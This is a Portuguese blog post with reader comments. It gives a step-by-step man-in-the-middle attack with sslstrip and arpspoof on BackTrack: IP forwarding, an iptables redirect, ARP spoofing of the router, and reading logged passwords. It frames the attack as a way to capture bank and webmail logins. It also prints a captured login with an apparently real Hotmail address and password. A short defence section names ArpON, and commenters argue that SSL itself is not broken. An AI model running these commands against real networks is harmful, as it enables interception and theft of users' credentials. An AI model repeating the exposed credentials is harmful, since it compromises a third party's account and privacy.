No início desta semana, eu discuti sobre segurança dentro de um Hotel em Vitória. A Outra pessoa teimava em dizer que quando qualquer um acessa um site seguro, com SSL/Certificado digital, nenhum hacker/cracker poderia roubar os seus dados. Eu argumentei que não era bem assim e que há técnicas que possibilitam o roubo de dados, mesmo navegando em sites seguros – SSL.
Eis que o o blog unknownantisec fez um excelente post explicando como executar um ataque Man in the middle em conjunto com a ferramenta SSLstrip, a qual já foi comentada várias vezes no blog.
Apesar de ser uma técnica relativamente fácil de ser feita, não deixa de ser uma técnica super poderosa. Muitos crackers à usam para fins maléficos como roubar senhas de clientes de bancos, mas a mesma pode ser usada por hackers para descobrir senhas de e-mails como por exemplo o Yahoo! Ou Hotmail que se tentássemos captura-las por técnicas de sniffing não obteríamos nada legível. Neste artigo irei mostrar como os crackers capturam senhas de bancos on-line para demonstrar que os famosos tecladinhos virtuais são facilmente burlados apesar de toda a sua fama de seguro. Nenhuma forma de proteção existente nos dias de hoje é capaz de parar esta técnica.
Espero que nenhum de nossos leitores use o conhecimento aqui obtido para causar prejuízos a terceiros, uma vez que escrevi este artigo apenas para fins didáticos e não poderá ser usado como forma de incentivo a criminalidade. O que garante que eu possa passar este conhecimento para você sem está cometendo um crime é o artigo 5º da Constituição Federal que nos garante a Liberdade de Expressão.
Como funciona?
Veja a imagem a seguir, esta é uma representação de uma conexão normal, sem interceptações, e funciona de modo que o cliente passa os dados criptografados para o servidor e vice-versa, tornando assim impossível o uso de técnicas de sniffing para a capturados dados trocados entre o cliente e o servidor.
Abaixo segue uma representação de uma conexão interceptada, (usando a técnica Man-in-The-Middle), e funciona de modo que o hacker engana o cliente e o servidor. Engana o cliente se fazendo passar por um simples servidor de proxy, e engana o servidor se passando pelo próprio cliente, desta forma os dados chegam até o hacker em texto puro, pois os dois pensam que o hacker é uma fonte confiável.
(Fonte: securityhacker)
Como é feito o ataque
Vou demonstrar como é feito um ataque desses com o sslstrip que já vem no backtrack 5.
para isso entre no diretorio do sslstrip:
#cd /pentest/web/sslstrip
Agora vamos listar as opções do sslstrip:
#python sslstrip.py -h
Ele vai dar as seguintes opções:
sslstrip 0.8 by Moxie Marlinspike Usage: sslstrip <options> Options: -w <filename>, --write=<filename> Specify file to log to (optional). -p , --post Log only SSL POSTs. (default) -s , --ssl Log all SSL traffic to and from server. -a , --all Log all SSL and HTTP traffic to and from server. -l <port>, --listen=<port> Port to listen on (default 10000). -f , --favicon Substitute a lock favicon on secure requests. -k , --killsessions Kill sessions in progress. -h Print this help message.
Vamos usar a opção “-w” ou “–write=” para gravar os logs em um arquivo e a “-l” ou “–listen=” para listar a porta de escuta.
Primeiro vamos habilitar ip forward no computador, para que ele possa intender que queremos redirecionar o trafego.
echo "1" > /proc/sys/net/ipv4/ip_forward
Agora vamos redirecionar o tráfego da porta 80 para a 10000 que é onde o sslstrip vai trabalhar.
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
Vamos colocar o sslstrip para funcionar agora, digite no terminal:
#python sslstrip.py -w trafego -l 10000
Abra outro terminal ou pagina que vamos colocar o arpspoof para funcionar.
Assim que abrir o terminal, digite route para saber qual o seu roteador e qual a placa que está conectada, ficaria assim.
Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 10.0.0.0 * 255.0.0.0 U 0 0 0 eth0 default 10.25.77.254 0.0.0.0 UG 0 0 0 eth0
Ficando assim:
10.25.77.254 é seu router
eth0 é sua placa de rede
Sabendo o que é o que, vamos executar o arpspoof, digite no terminal
#arpspoof -i eth0 10.25.77.254
Para ver as “senhas” basta digitar:
#less trafego
Agora é só garimpar as senhas recolhidas.
Exemplo de pacote capturado
2011-07-28 13:49:19,605 SECURE POST Data (login.live.com): login=juana%40hotmail.com&passwd=loa1814&type=11&LoginOptions=3&NewUser=1&MEST=&PPSX=PassportRN&PPFT=CSunM4mofYhigqiObttRmtoFdxf8alO7UBN1O9Jb2EQYF1T5sE4qGl teBPzjSYo1kd1jAsP7rlt80UdeEqjMeasL5WXvuVU%21n8NSpKRq3NxmBsw06rOBOfPnz4pejvv3qm0x7rcejM0zU0oCmtF9mL1UqTYa0VQELVDpWOg3RhYACZhXqKYJAbxteyPX%21Mr1Yrq*Un8yDSMnbAgENcljztLVOk *y&idsbho=1&PwdPad=&sso=&i1=&i2=1&i3=19972&i4=&i12=1&i13=&i14=593&i15=1038
Email: juana@hotmail.com
Senha:loa1814
Evitando o Ataque
“Para evitar esse tipo de ataque existe uma ferramenta que detecta algum engraçadinho na rede, chamado ArpON (ARP Handler Inspection), ele é um daemon manipulador que possui ferramentas de vigilância e monitoramento de redes, para assegurar a proteção, além de evitar ataques do tipo Man In The Middle (MITM). ArpON também é capaz de detectar e bloquear ataques mais alarmantes como DHCP Spoofing, DNS Spoofing, WEB Spoofing, Session Hijacking, SSL/TLS Hijacking e outros. “(Fonte: under-linux)
Há também um vídeo muito bem explicado de como executar alguns ataques com o SSLstrip:
Depois dessa heim!!!
Num logo mais em nada na interter..kkkk
Vlw Gustavo.
Gustavo,
o post não deixa claro que isto não é um problema do SSL. O SSL é sim um padrão confiável e NÃO DÁ PRA BURLAR.
O problema ai é de rede e da “confiança” do usuário.
Nas duas abordagens do SSLstrip o cliente é o real problema:
Abordagem 1: O site será redirecionado para HTTP e o favicon irá mudar para um cadeado. Ai entra a velha balela dos “especialistas” em querer ensinar o usuário a olhar o “cadeadinho”. Se o cliente entender ele verá que o site não está mais em HTTPS e sim em HTTP.
Abordagem 2: O SSLStrip irá enviar um certificado auto-assinado e o site só será carregado se o cliente der um OK no Warning.
O SSL não é o problema! Não existe um sniffing em clear-text ou quebra do túnel HTTPS.
Abs.
Um dica é usar um rede wireless com criptgorafia ativa, não tem como fazer isto WAP2.
Usar twitter com https
Belo post!
Mas concordo com o Wagner Elias o problema não é o protocolo SSL e sim a falta de cuidado do usuário.
Realmente não se trata de uma “falha” no SSL. O SSL é seguro. Oq a ferramenta faz é fechar um tunnel SSL entre a vitima e o atacante, o qual envia a sua própria chave publica para a vita, em detrimento da chave pública do servidor real. Obviamente o browser do usuário não tem um certificado Raiz que assine o certificado forjado do atacante e exibira um alerta para o usuário. Mesmo que o usuário aceite o certificado forjado, é, atualmente, IMPOSSÍVEL quebrar a segurança do SSL. O atacante só tem acesso aos dados pq a criptografia é realizada com a sua própria chave pública, e não por conta de uma falha no processo criptografico…
Desde os primordios que se conheçe que a falha está no uso, e não na criptografia em si.
Além do mais, esse tipo de ferramenta exige que o atacante esteja NA MESMA REDE da vítima(na mesma camada de enlace).
Mais uma informação: Nenhum “cracker” consegue senhas bancárias dessa forma! O miniaplicativo java conheçe a java pública do banco e, portanto, rejeita certificado com outra assinatura. Existem outras tecnicas muito mais simples de se conseguir senhas…
Muito bom o post! E o melhor de tudo é que no fim mostra a parte mais legal, que é uma das formas de se defender desse tipo de ataque.
Para alguns comentários acima, comento o seguinte:
Beleza, o problema não é o SSL, e sim o usuário. No fim das contas, por via do usuário, o tráfego SSL pode ser “burlado”, que novamente no fim das contas é o que o atacante quer! Não acham???
Não interessa como ele fez, interessa somente que ele fez, e não como ele ou do que ele dependeu pra fazer!
Fazendo analogia: Um servidor qualquer, é invadido. Estava todo atualizado, tudo que é possível de segurança instalado e configurado. Mas a senha do administrador que controla tudo isso é fraca. Qual segurança que vai dar jeito?
Então, não me afirme “Navegar com SSL é 100% seguro”.
Excelente post Gustavo.
Adriel,
navegar via SSL é sim 100% seguro.
O que é subvertido é a rede com arp spoofing e mesmo assim o usuário ainda pode ver que o SSL dele foi quebrado através do endereço que passa para HTTP ou via certificado auto-assinado que ele vai precisar aceitar.
Falar que o SSL é inseguro por isto é no mínimo ingenuidade da sua parte.
Abs.
BOM POST Gutcol
Wagner Elias, conheço 3 pesquisadores (2 da Verisign e 1 da IBM) que discutiriam horas com vc sobre isso.. hehehe
teria como exemplo onde os ” tecladinhos virtuais” aparecem no pacote desmembrado, ACHO q nao rola
Amigo Wagner Elias,
Não estou dizendo que o SSL é “vulnerável” ou não. Nem que ele é inseguro por causa de determinadas técnicas.Talvez me expressei mal e não me fiz entender.
Me refiro quanto acreditar que está seguro na navegação, porque está usando SSL, e pensar que nada pode acontecer. Isso não é total verdade.
A isso que eu me referia. No final das contas, não se pode confiar só no SSL.
Valeu!
Para resolver o problema é bem simples use um roteador Wi-fi com WAP2 ativo! É Impossuível que um backtrack da vida consiga penetra
Concordo com o Wagner Elias mas concordo também com o Adriel. O problema não está no SSL… e daí? Não importa onde está. O importante é que o ataque será bem sucedido.
Passando pelos post, achei esse…..
Bom eu fiz o teste com a criptografia de um banco, acc meu banco de outro computador enquanto rodava sslstrip, realmente, o sslstrip não quebra a criptografia, porem eu consegui capturar a senha criptografada, mas a conta agencia e digito peguei normal
Correto.. Há alguns anos, eu trabalhei com um cara que tinha uma teoria quanto a quebra de senhas – ele trabalhou no desenvolvimento dos sistema de segurança do governo americano. Agora, eu não sei se essa teoria foi comprovada..
http://universidadeti.com.br/2014/03/como-fazer-men-in-the-middle-arpspoof/
Utilizei este método no site do meu banco, com a minha conta (puramente acadêmico), capturei a minha senha, porém, criptografada. Não consegui descobrir a senha mas isso me ensinou muito sobre SSL, kali linux e sniff